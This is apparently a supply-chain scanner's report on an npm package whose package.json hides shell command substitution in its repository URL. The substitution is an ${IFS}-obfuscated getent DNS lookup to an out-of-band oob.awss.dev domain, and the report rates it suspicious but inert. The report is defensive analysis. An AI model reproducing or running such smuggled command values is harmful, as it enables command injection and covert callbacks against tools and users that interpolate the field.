@an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe repository URL contains suspicious shell syntax for an outbound DNS lookup, but no package lifecycle or runtime path activates it. Treat this as an inert payload carrier with unresolved risk.
Static reason
No blocking static signals were detected.
Trigger
A consumer tool shell-interpolating the repository URL; no such activation is shown in the package source.
Impact
If evaluated, it could create an outbound DNS signal; no collected data or further effect is established.
Mechanism
The embedded command invokes a host lookup for an OOB domain and discards the output.
AI rationale
The repository URL contains suspicious shell syntax for an outbound DNS lookup, but no package lifecycle or runtime path activates it. Treat this as an inert payload carrier with unresolved risk.
Evidence
package.json
Network endpoints1
npmgit19y8--768.oob.awss.dev
Decision evidence
public snapshotAI called this Suspicious at 77.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for warning
- The manifest embeds shell command substitution containing a DNS lookup in its repository URL; it has no lifecycle scripts.
- The entrypoint only exports the number 1 and contains no visible execution logic.
Evidence against
- The DNS lookup is inert in the inspected package source unless another tool evaluates the repository URL through a shell; no such trigger is established.
Behavioral surface
Trivial
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
1{"name":"@an1mshnpmb9c84920/pipe-dns-m19t2","version":"1.0.5","description":"owned repository metadata compatibility control","main":"index.js","repository":{"type":"git","url":"https://github.com/an1msh-ghb0797531/rce-live-lab-0930.git/$(getent${IFS}hosts${IFS}npm[redacted]>/dev/null)"},"license":"MIT"}
Medium
Suspicious Lifecycle Evidence
The manifest embeds shell command substitution containing a DNS lookup in its repository URL; it has no lifecycle scripts.
package.jsonView on unpkg · L1index.jsView file
1module.exports=1
Medium
Ai Review Evidence
The entrypoint only exports the number 1 and contains no visible execution logic.
index.jsView on unpkg · L1Findings
2 Medium
MediumSuspicious Lifecycle Evidencepackage.json
MediumAi Review Evidenceindex.js
Affected versions and remediation
This report applies to @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5.
See all versions of @an1mshnpmb9c84920/pipe-dns-m19t2 for other recorded verdicts.
- Review the evidence and your use of @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.